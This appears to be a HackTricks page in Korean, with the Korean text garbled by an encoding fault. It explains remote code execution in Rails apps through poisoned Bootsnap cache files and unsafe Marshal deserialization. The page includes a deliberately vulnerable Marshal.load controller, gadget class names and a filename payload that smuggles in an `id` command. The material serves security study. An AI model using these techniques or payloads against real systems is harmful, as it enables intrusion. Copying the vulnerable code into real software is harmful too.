์๋๋ Bootsnap caching์ ์ ์ฉํด arbitrary file write vulnerability๋ฅผ ์ต์คํ๋ก์ํ๋ ๊ธ์ ์ค๋ช ๋ ๋จ๊ณ๋ค์ ๊ฐ๋จํ ์์ฝ์ด๋ค:
- Identify the Vulnerability and Environment
Rails ์ฑ์ ํ์ผ ์ ๋ก๋ ๊ธฐ๋ฅ์ ํตํด ๊ณต๊ฒฉ์๊ฐ ์์๋ก ํ์ผ์ ์ธ ์ ์๋ค. ์ฑ์ด ์ ํ๋ ํ๊ฒฝ์์ ์คํ๋๋๋ผ๋(Docker์ non-root user๋ก ์ธํด tmp ๊ฐ์ ํน์ ๋๋ ํฐ๋ฆฌ๋ง ์ฐ๊ธฐ๊ฐ ํ์ฉ๋๋ ๋ฑ) ์ด๋ ์ฌ์ ํ Bootsnap ์บ์ ๋๋ ํฐ๋ฆฌ(์ผ๋ฐ์ ์ผ๋ก tmp/cache/bootsnap)์ ์ฐ๊ธฐ๊ฐ ๊ฐ๋ฅํ ์ํฉ์ ๋ง๋ ๋ค.
- Understand Bootsnapโs Cache Mechanism
Bootsnap์ ์ปดํ์ผ๋ Ruby ์ฝ๋, YAML, JSON ํ์ผ์ ์บ์ฑํ์ฌ Rails ๋ถํ ์๊ฐ์ ๋จ์ถํ๋ค. ์บ์ ํ์ผ์ cache key header(์: Ruby ๋ฒ์ , ํ์ผ ํฌ๊ธฐ, mtime, compile options ๋ฑ ํ๋ ํฌํจ)์ ๋ค๋ฐ๋ฅด๋ ์ปดํ์ผ๋ ์ฝ๋๋ก ๊ตฌ์ฑ๋๋ค. ์ด ํค๋๋ ์ฑ ์์ ์ ์บ์๋ฅผ ๊ฒ์ฆํ๋ ๋ฐ ์ฌ์ฉ๋๋ค.
- Gather File Metadata
๊ณต๊ฒฉ์๋ ๋จผ์ Rails ์์ ์ ๋ก๋๋ ๊ฐ๋ฅ์ฑ์ด ๋์ ๋์ ํ์ผ(์: Ruby ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ set.rb)์ ์ ํํ๋ค. ์ปจํ ์ด๋ ๋ด๋ถ์์ Ruby ์ฝ๋๋ฅผ ์คํํ์ฌ RUBY_VERSION, RUBY_REVISION, size, mtime, compile_option ๊ฐ์ ์ค์ํ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ๋ค. ์ด ๋ฐ์ดํฐ๋ ์ฌ๋ฐ๋ฅธ cache key๋ฅผ ์์ฑํ๋ ๋ฐ ํ์์ ์ด๋ค.
- Compute the Cache File Path
Bootsnap์ FNV-1a 64-bit ํด์ ๋ฉ์ปค๋์ฆ์ ๋ณต์ ํ์ฌ ์ฌ๋ฐ๋ฅธ ์บ์ ํ์ผ ๊ฒฝ๋ก๋ฅผ ๊ณ์ฐํ๋ค. ์ด ๋จ๊ณ๋ ์ ์์ ์ธ ์บ์ ํ์ผ์ด Bootsnap์ด ๊ธฐ๋ํ๋ ์ ํํ ์์น(์: tmp/cache/bootsnap/compile-cache-iseq/)์ ๋์ด๋๋ก ๋ณด์ฅํ๋ค.
- Craft the Malicious Cache File
๊ณต๊ฒฉ์๋ ๋ค์์ ์ํํ๋ ํ์ด๋ก๋๋ฅผ ์ค๋นํ๋ค:
- Executes arbitrary commands (for example, running id to show process info).
- Removes the malicious cache after execution to prevent recursive exploitation.
- Loads the original file (e.g., set.rb) to avoid crashing the application.
์ด ํ์ด๋ก๋๋ ๋ฐ์ด๋๋ฆฌ Ruby ์ฝ๋๋ก ์ปดํ์ผ๋๊ณ , ์์ ์์งํ ๋ฉํ๋ฐ์ดํฐ์ ์ฌ๋ฐ๋ฅธ Bootsnap ๋ฒ์ ๋ฒํธ๋ฅผ ์ฌ์ฉํด ์ ๊ตํ๊ฒ ๊ตฌ์ฑ๋ cache key header์ ์ด์ด๋ถ์ฌ์ง๋ค.
- Overwrite and Trigger Execution arbitrary file write vulnerability๋ฅผ ์ด์ฉํด ๊ณต๊ฒฉ์๋ ๊ณ์ฐ๋ ์์น์ ์กฐ์๋ ์บ์ ํ์ผ์ ์ด๋ค. ๋ค์์ผ๋ก tmp/restart.txt(์: Puma๊ฐ ๋ชจ๋ํฐ๋ง)๋ฅผ ์์ ํด ์๋ฒ ์ฌ์์์ ์ ๋ํ๋ค. ์ฌ์์ ์ค Rails๊ฐ ๋์ ํ์ผ์ requireํ ๋ ์ ์ฑ ์บ์ ํ์ผ์ด ๋ก๋๋์ด RCE๊ฐ ๋ฐ์ํ๋ค.
Ruby Marshal exploitation in practice (updated)
์ ๋ขฐํ ์ ์๋ ๋ฐ์ดํธ๊ฐ Marshal.load/marshal_load์ ๋๋ฌํ๋ ๋ชจ๋ ๊ฒฝ๋ก๋ฅผ RCE sink๋ก ์ทจ๊ธํ๋ผ. Marshal์ ์์์ ๊ฐ์ฒด ๊ทธ๋ํ๋ฅผ ์ฌ๊ตฌ์ฑํ๊ณ materialization ๋์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ/gem์ ์ฝ๋ฐฑ์ ํธ๋ฆฌ๊ฑฐํ๋ค.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- ์ค์ ์ฒด์ธ์์ ์์ฃผ ๋ณด์ด๋ gadget classes:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - payloads์ ์ฝ์ ๋ ์ ํ์ ์ธ ๋ถ์์ฉ ํ์์ (unmarshal ์ค ์คํ):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Where it surfaces in real apps:
- Rails ์บ์ ์ ์ฅ์ ๋ฐ ์ธ์ ์ ์ฅ์(์ญ์ฌ์ ์ผ๋ก Marshal ์ฌ์ฉ)
- Background job ๋ฐฑ์๋ ๋ฐ ํ์ผ ๊ธฐ๋ฐ ์ค๋ธ์ ํธ ์ ์ฅ์
- ์ด์ง ๊ฐ์ฒด ๋ธ๋กญ์ ์ปค์คํ ์์์ฑ ๋๋ ์ ์ก
Industrialized gadget discovery:
- ์์ฑ์,
hash,_load,init_with๋๋ unmarshal ์ค ํธ์ถ๋๋ ๋ถ์์ฉ ์๋ ๋ฉ์๋๋ฅผ grep - CodeQL์ Ruby unsafe deserialization ์ฟผ๋ฆฌ๋ฅผ ์ฌ์ฉํด sources โ sinks๋ฅผ ์ถ์ ํ๊ณ gadgets๋ฅผ ์ฐพ์๋ด๊ธฐ
- ๊ณต๊ฐ multi-format PoCs(JSON/XML/YAML/Marshal)๋ก ๊ฒ์ฆ
References
- Trail of Bits โ Marshal madness: Ruby ์ญ์ง๋ ฌํ ์ต์คํ๋ก์์ ๊ฐ๋ตํ ์ญ์ฌ: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam โ Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 โ Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI โ RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security โ Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab โ Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab โ PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR โ Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke โ Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke โ Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits โ Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs โ Is This Bad? This Feels Bad โ GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec โ CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC โ tecxx/CVE-2025-59287-WSUS
- RSC Report Lab โ CVE-2025-55182 (React 19.2.0)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


